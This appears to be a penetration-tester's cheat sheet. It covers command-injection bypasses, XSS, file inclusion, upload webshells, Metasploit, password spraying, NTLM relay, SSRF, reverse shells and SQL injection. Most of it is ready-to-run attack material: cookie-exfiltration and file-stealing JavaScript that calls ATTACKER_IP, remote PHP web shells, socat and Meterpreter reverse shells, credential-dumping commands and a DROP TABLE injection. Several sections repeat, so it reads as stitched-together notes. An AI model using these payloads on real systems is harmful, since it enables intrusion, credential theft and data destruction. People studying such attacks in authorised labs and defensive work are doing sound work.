User-controlled input that can lead to queries or code execution on the target server (OS, SQL, XSS, etc.). Front-end and back-end often use different validation, which can create vulnerabilities.
NOTE: Try URL encoding, newlines, tabs instead of spaces, and other encoding when characters are blocked.
When a crucial character is blocked, reference it from the environment (variable) or use alternate syntax. Use man ascii (Linux) or Get-ChildItem Env: (PowerShell) to find usable characters.
Linux
Curly-bracket expansion and character shifting: `\` is 92 (ASCII), `[` is 91.
Blocked
Bypass (example)
whitespace
${IFS}
/
${PATH:0:1} or $(tr '!-}' '"-~'<<<[)
;
${LS_COLORS:10:1}
Commands: Mix quotes into the name: w"h"o"am"i, who$@ami, w\ho\am\i.
Case:$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") or $(a="WhOaMi";printf %s "${a,,}").
Interactive PowerShell framework for obfuscating cmd.exe payloads. Uses env var substring extraction (e.g. %TEMP:~-3,-2%) so keywords don’t appear in the HTTP request.
# 1. Install & loadgit clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
# 2. Interactive: set command then encodingSET COMMAND type C:\Users\Public\flag.txt
encoding
1
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).
REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)
Type
Description
Stored XSS (Persistent)
Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments)
Reflected XSS (Non-Persistent)
Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message)
DOM-based XSS
Never touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)
Breaking Context
Manual Payloads
Sometimes, certain payloads are not allowed
<script>alert(window.origin)</script><imgsrc=""onerror=alert(window.origin)><svg/onload=alert(window.origin)>// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//---#SetuplisteneronATTACKER_IPsudopython3-mhttp.server80// Remote script
<scriptsrc="http://<ATTACKER_IP>/script.js"></script>// Same idea but enumerate vuln fields
<scriptsrc="http://<ATTACKER_IP>/username"></script>// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
newImage().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;
File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
There are 2 types, which depend on the underlying vulnerable function:
Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:
Linux: /etc/passwd
Windows: C:\Windows\boot.ini
Generally, they will be 3-5 folder depths down from the root filesystem:
# without '/'../../../../etc/passwd
# with '/'/../../../../etc/passwd
# basic filter '../' bypass....//....//....//etc/passwd
..././
....\/# URL encoding: must encode entire string%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
# regex might require a specific string or extension for a folder or extension# the extension part can limit the files accessiblelanguages/.*php
# overflow character limit to evade extension filter# ONLY: PHP <5.3 versionsecho -n "non_existing_directory/../../../etc/passwd/"&&for i in {1..2048}; do echo -n "./"; done# null byte# ONLY: PHP <5.5 versions../../../../etc/passwd%00.php
URL Encoding
# Total URL Encoding via Pythonecho -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"
Finding Files
Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)
# Find *.php files that DO EXIST on the serverffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php
If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:
# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>
# View Page Source > Decode base64echo '<BASE64> | base64 -d'
# If the LFI is already know (e.g. via LFImap) this# can browse for all accessible config filesffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v
Execute Commands
If able, check that appropriate settings are enabled and the underlying function supports the command.
If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.
# URL is the remote resourcehttp://<TARGET>/<PAGE>?<PARAMETER>=<URL>
# Create remote PHP web shell# NOTE: this only works for get and execute style functionsecho '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080# Execute commands by calling back to ATTACK_IP and executing that filecurl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'
Log Poisoning
Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.
# Get PHPSESSION from F12 > Storage# NOTE: that file is stored on disk as:# /var/lib/php/sessions/sess_<PHPSESSION># Read the settings for the PHPSESSIONhttp://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>
# Let's see if we control the OPTIONhttp://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the valuehttp://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>
# Set OPTION to a PHP webshellcurl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'# Now execute commandscurl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'
If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.
Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.
2. The str_replace Trap
Many developers try to fix LFI with str_replace("../", "", $input).
The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.
Advanced Scanning
The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:
# NOTE: filter out by response size since an HTTP response of 200 OK will always be receivedffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>
POST
# NOTE: filter out by response size since an HTTP response of 200 OK will always be receivedffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>
LFImap
Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).
# Installgit clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt
# Base Scan (Use '*' to mark the injection point)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'# Full Auto-Exploit (Tests all bypasses & attempts RCE)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a
# Pop a Reverse Shell directly (if vulnerable)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>
Nuclei
Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.
When system Go is broken or missing (HTB / online lab VMs)…
go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23
…Install a local Go and wire it into PATH:
wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates firstnuclei -ut
# Target a specific URL for all known LFI vectorsecho 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi
# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)nuclei -u 'http://<TARGET>/' -dast -tags lfi
# Blind OOB LFI (Catch callbacks with interactsh automatically)nuclei -u 'http://<TARGET>/' -tags oast,lfi
Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.
Process
Identify the web technologies used (e.g. PHP).
Brute-force a command page like index.<EXT> using /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt.
Check for client- and server-side validation and filtering.
Intercept file submission with a web proxy and test modifications of:
Filename extensions in the request body
Content-Type headers
Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
Bypass server-side validation:
Fuzz file extensions (e.g. .php7, .phtml, or mixed case .pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded.
Try double extensions such as .jpgFUZZ or FUZZ.jpg.
Use ffuf -od reqs with a minimal “Hello World” payload for the target tech to see which extension actually executes.
# Extension fuzzing# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt
Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.
SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.
### ASPX (Microsoft IIS)# Command Shell# 1) Add ATTACKER_IP on line 59# 2) Remove unnecessary comments at beginning and end/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal# 1) Edit creds on line 14/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShellwget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php
Code
NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings
Check [[shells]] for building meterpreter payloads with msfvenom
# Install exploit manuallycp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/
# OR from exploit-dbpushd /usr/share/metasploit-framework/modules/exploits/
searchsploit -m <EDB-ID>
# in MSFreload
reload_all
### Search# <type>/<os>/<service>/<name># Search for port and name, showing exploits onlysearch type:exploit platform: port:<PORT> name:<NAME>
# grepgrep meterpreter grep reverse_tcp show payloads
# Set all LHOST to tunnel IPsetg LHOST tun0
🌐 Meterpreter via WEB_DELIVERY
sudo msfconsole -q -x "use exploit/multi/script/web_delivery; set target PSH; set payload windows/x64/meterpreter/reverse_tcp; set SRVHOST tun0; set LHOST tun0; set LPORT 50000; exploit"
Use provided PowerShell command!
📦 Meterpreter via SMB_DELIVERY
sudo msfconsole -q -x "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set SRVHOST tun0; set LHOST tun0; set LPORT 50000; exploit"
Use provided rundll32.exe command!
🎧 Multi/Handler (Windows reverse_tcp)
sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 50000; exploit"
📊 Meterpreter Survey
sysinfo
getuid
getpid
ipconfig
ps
# Linux flag searchsearch -d / -f flag.txt
search -d / -f user.txt
search -d / -f root.txt
# Windows flag searchsearch -d C:\\ -f flag.txt
search -d C:\\ -f user.txt
search -d C:\\ -f root.txt
# REMEMBER: for Windows, quoting and double slashes cat "C:\\Programs and Files (x86)\\"# Migrateps -s | grep svchost
migrate <PID>
getsystem
getprivs
# List security tokens of user and grouplist_tokens -u
list_tokens -g
impersonate_token <DOMAIN_NAMEUSERNAME>
steal_token <PID>
drop_token
# Dumps credshashdump # CrackStationlsa_dump_sam
lsa_dump_secrets
# Better dump credsload kiwi
creds_all
# === WINDOWS ===run winenum
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares
# --- Privilege Escalation & Credential Gathering ---run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester
🗄️ DB for Targets
# for db_* commandssudo service postgresql start
sudo msfdb init
sudo msfconsole -q
# Check database status from within msfconsoledb_status
# Database Backend Commandsdb_nmap <NMAP_OPTS> <TARGET>
db_connect
db_disconnect
db_export -f xml metasploit_backup.xml
db_import <SCAN_FILE_XML>
db_rebuild_cache
db_remove
db_save
# Manage workspacesworkspace
workspace -a <WORKSPACE>
workspace -d <WORKSPACE>
workspace <WORKSPACE>
hosts
loot
notes
services
vulns
creds
# Using database hosts for a modulehosts -R # set RHOSTS from hostsservices -S <SEARCH>
Generate usernames to spray (input for online attacks). Use before spraying.
# GOOGLE DORK: Find emails and user name schemesite:<DOMAIN> "@<DOMAIN>"# Generate different common permutations of usernamesgit clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy <USERNAME>
Wordlist customization (offline)
Wordlist building and mutation (cewl, hashcat rules, CUPP): same wordlists can feed online spraying or offline cracking.
# Manually generate keywords or use cewl via OSINTcat << EOF > keywords.txt
<KEYWORDS>
EOF# Rule examples: c (Capitalize first), C (lowercase first, rest upper), t (toggle case)# $! append ! ; $1$9$9$8 append 1998 ; sa@ replace a with @ ; so0 replace o with 0 ; ss$ replace s with $cat << EOF > custom.rule
c
C
t \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF# Generate permutated wordlisthashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt
# Crack with same ruleshashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt
CUPP Profiling
Build a targeted wordlist from personal information (name, birthday, pet, company, etc.). Use when you have OSINT on the target and want passwords likely derived from that data.
git clone https://github.com/Mebus/cupp.git
cd cupp
python3 cupp.py -i
Interactive prompts: name, surname, nickname, birthday, partner, pet, company, keywords, etc. Output is a wordlist tailored to the target.
Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.
sudo responder -I <INTERFACE> -A
Active (respond / relay)
Sends responses or relays auth: can trigger login prompts or relay hashes to a target
# Force WPAD; may cause a login promptsudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE>
# Relay NTLM to target and execute a callback (e.g. rev shell)# nc -lvnp <PORT>impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'
Inveigh
Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.
# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or:# dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true# Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit).\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y
# via enum4linux-ng (this uses RPC)enum4linux-ng -U -u <USER> -p <PASSWORD> <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"# via RPCrpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt
# via SMB (prefer nxc; sudo often required for SMB signing checks or specific dumps)sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> --users
# Find high value usersnxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"# via LDAP anon bind# https://linux.die.net/man/1/ldapsearch# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count
# via DOSnet user /domain
# via PowerShell([adsisearcher]"objectClass=user").FindAll().Properties.samaccountname
# Get Domain Users (feed into Kerbrute)Import-Module .\PowerView.ps1
Get-DomainUser * | Select-Object -ExpandProperty samaccountname | Foreach {$_.TrimEnd()} |Set-Content adusers.txt
Get-Content .\adusers.txt | select -First 10# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>
Password Policy
CRITICAL: Check lockout threshold before spraying.
enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:
Tool
Ports
nmblookup
137/UDP
nbtstat
137/UDP
net
139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient
135/TCP
smbclient
445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMBnxc smb <TARGET> --pass-pol
nxc smb <TARGET> -u <USER> -p <PASS> --pass-pol
# via RPCrpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo # get domain and password policy# via LDAP anon bind (Win Server 2003)# pwdProperties: password complexityldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# via netnet use \\<TARGET>\ipc$ "" /u:""net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>
# via net accountsnet accounts
NOTE: If asking for the policy does not fit the assessment or the client does not want to provide it, run one, max two, password spraying attempts (regardless of internal/external) and wait over an hour between attempts if you do two.
Default Domain Policy
Policy
Default Value
Enforce password history
24 days
Maximum password age
42 days
Minimum password age
1 day
Minimum password length
7
Password must meet complexity requirements
Enabled
Store passwords using reversible encryption
Disabled
Account lockout duration
Not set
Account lockout threshold
0
Reset account lockout counter after
Not set
Filtering Passwords That Meet Policy
If using a pre-compiled or downloaded list, enforce the known password policy with grep:
Brute-Force: 1 user, many passwords (alternates passwords) — risk of account lockout.
Spraying: many users, 1 password (alternates users) — no lockout risk; “hail Mary” to find any way in.
Best practice: Obtain account lockout policy beforehand (enum or customer). If unknown, wait a few hours between attempts so the lockout counter can reset.
SMB / WinRM Spraying
# SMB spraying (--continue-on-success to keep going after a hit)sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --continue-on-success | grep '+'# Local auth (local accounts instead of domain; LAPS mitigates)sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'# via RPC (manual)for u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done
Hydra is a parallelized login cracker that supports numerous protocols to attack quickly and flexibly, and new modules are easy to add.
NOTE: use netexec for Windows AD environments instead
Core Flags
-f : Stop immediately when a credential is found
-V : Verbose (Check if service is responding)-t <N> : Number of parallel tasks (threads)-l <USER> : Single username
-L <USER_LIST> : Username list file
-p <PASSWORD> : Single password
-P <WORDLIST> : Password wordlist file
-o <OUTPUT> : Output file
-s <PORT> : Port if nonstandard
-M <TARGET_FILE> : Targets list file
hydra -x -h
# Generate and test passwords ranging from 6 to 8 characters of an alphanumeric set-x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
Use browser F12 > Network > DevTools, web proxy, or -d to capture the actual POST request. Look for the form action URL and input field names.
Use ^USER^ and ^PASS^ as placeholders in BODY
Condition String: hydra -U http-post-form
Important: you can only define S= OR F= - not both
F=<FAILURE_STRING> (default) specifies the failure response text to detect failed logins
too many false positives means bad failure string
`S=<SUCCESS_STRING>
S=302 means a successful login due to an HTTP 302 page forward redirect
Check with -dt1 for condition strings
# S=302 for login redirects (and no login error)hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:S=302" -V
# F=X for bad logins give an errorhydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:F=invalid" -V
HTTP Basic Auth
A basic form of authentication, usually when a web resource is restricted, a pop-up window will appear asking for username and password. From a HTTP header perspective it is the base64 version of <USERNAME>:<PASSWORD> like:
# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist)hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt
# Alternative WordPress syntaxhydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f
Password Spraying
Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.
# SSH password spraying (1 password vs many users)hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>
# Web form password sprayinghydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
Important Notes
Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
Thread Count: Use -t 4 for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like -t 16.
Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
Output: Always use -o <OUTPUT_FILE> to save results for later analysis.
Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.
sudo responder -I <INTERFACE> -A
Active (respond / relay)
Sends responses or relays auth: can trigger login prompts or relay hashes to a target
# Force WPAD; may cause a login promptsudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE>
# Relay NTLM to target and execute a callback (e.g. rev shell)# nc -lvnp <PORT>impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'
Inveigh
Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.
# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or:# dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true# Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit).\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y
SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy — useful for accessing internal services, cloud metadata endpoints, or local files.
Identification: Look for any parameter that fetches a remote resource — ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.
Variant
Description
Basic SSRF
Parameter takes a URL; redirect it to internal target
Blind SSRF
Server makes the request but returns no output — detect via out-of-band callback
SSRF → LFI
Server (or its PDF renderer) reads file:// URIs
SSRF → RCE
Chain into internal services (Redis, Elasticsearch, etc.)
Basic SSRF
Point the vulnerable parameter at an internal resource or metadata endpoint:
If the response gives nothing back, confirm the request fires via a callback:
# Start listenernc -lvnp 8080# Inject callback URL into the vulnerable parametercurl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"
Use Burp Collaborator or interactsh for DNS-based OOB confirmation.
SSRF → LFI via HTML Injection in PDF
When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.
Identification: Submit a field and download the resulting PDF — if your input renders as HTML (not escaped), the renderer is likely vulnerable.
Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):
while true; do nc -lvnp 8080; done# Into vulnerable field<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>
Automate with curl
URL-encode the payload and POST it directly:
while true; do nc -lvnp 8080; donePAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")curl 'http://<TARGET>/'\
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded'\
--data-raw "insert=Track+Now&handle=${ENCODED}"
NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.
### ASPX (Microsoft IIS)# Command Shell# 1) Add ATTACKER_IP on line 59# 2) Remove unnecessary comments at beginning and end/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal# 1) Edit creds on line 14/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShellwget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php
Code
NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings
# ATTACKER (Listen):socat FILE:`tty`,raw,echo=0 OPENSSL-LISTEN:<PORT>,cert=cert.pem,verify=0# LINUX TARGET (Connect Back):# (Upload socat first, same as standard shell)/tmp/socat EXEC:'bash -li',pty,stderr,setsid,sigint,sane OPENSSL:<ATTACKER_IP>:<PORT>,verify=0
# ATTACKER (Listen):socat OPENSSL-LISTEN:<PORT>,cert=cert.pem,verify=0 -
# WINDOWS TARGET (Connect Back):# (Upload socat.exe first, same as standard shell)C:\Windows\temp\socat.exe EXEC:powershell.exe,pipes OPENSSL:<ATTACKER_IP>:<PORT>,verify=0
SQLMap supports techniques BEUSTQ: Boolean blind (B), Error-based (E), Union (U), Stacked (S), Time-based blind (T), Inline (Q), plus Out-of-band (OOB) via DNS exfiltration. Use sqlmap -hh to list techniques.
Union Based SQLi
Direct data extraction by combining results from two queries.
Mechanics:
Find Column Count:ORDER BY 1, ORDER BY 2… until error.
Find Visible Columns:UNION SELECT 1, 2, 3, 4 (Check which numbers appear on screen).
Extract Data: Replace visible number with database(), user(), or column name.
-- Get column count... start at 2 and iterate up
' ORDER BY 2-- -
-- MORE ROBUST since it will error on bad column sizes
'UNIONSELECT1,2-- -
-- Get current user and database
' UNION SELECT 1, user(), database(), 4 -- -
'UNIONSELECT1, user, database(), 4FROM mysql.user-- -
-- Enumeration
' UNION SELECT 1, group_concat(table_name), 3, 4 FROM information_schema.tables WHERE table_schema=database()-- -
Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)
sqlmap -u "<URL>" --technique=U --union-cols=5
Error Based SQLi
Force the database to dump data inside a verbose error message.
Mechanics:
Intentionally break syntax or use functions that fail when passed specific strings, causing the DB to return the string (the flag) in the error.
-- MySQL (extractvalue)
' AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e))-- -
-- MSSQL (Conversion Error)
'AND1=(SELECT TOP 1table_nameFROM information_schema.tables)--
Trigger DB errors that leak data inside the error message.
sqlmap -u "<URL>" --technique=E
Blind SQLi (Boolean)
Infer data by asking True/False questions. Content changes based on the answer.
Mechanics:
If 1=1 (True) loads the page normally, and 1=2 (False) hides content, the target is vulnerable.
-- Verification
' AND 1=1-- - (Page loads)
'AND1=2-- - (Content missing)
-- Data Extraction (Manual logic)
-- Is the first letter of user() 'a'?
' AND (SELECT substring(user(),1,1))='a'-- -
Infer data from response delays (e.g. SLEEP) when the condition is true.
sqlmap -u "<URL>" --technique=T
Stacked Queries SQLi
Append additional SQL statements after the vulnerable query (e.g. non-query statements or OS commands).
Mechanics: “Piggy-backing” — inject a second statement after the first (e.g. ; DROP TABLE users). Only works when the DB and driver allow multiple statements (e.g. MSSQL, PostgreSQL). SQLMap can use it for data retrieval (similar to time-based) or for non-query/OS execution when supported.
-- Example: second statement runs after the first
'; DROP TABLE users-- -
'; EXEC xp_cmdshell 'whoami'-- -
Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).
sqlmap -u "<URL>" --technique=S
Inline Queries SQLi
Embed a subquery inside the original query so the result is used in place.
Mechanics: The vulnerable app must use the result of a subquery in a way that lets you inject (e.g. SELECT (SELECT @@version) FROM ...). Less common than other types because the code structure has to match. SQLMap supports it when the injection point allows embedded queries.
-- Example: version in a subquery
SELECT (SELECT@@version) FROM ...
### ASPX (Microsoft IIS)# Command Shell# 1) Add ATTACKER_IP on line 59# 2) Remove unnecessary comments at beginning and end/usr/share/laudanum/aspx/shell.aspx
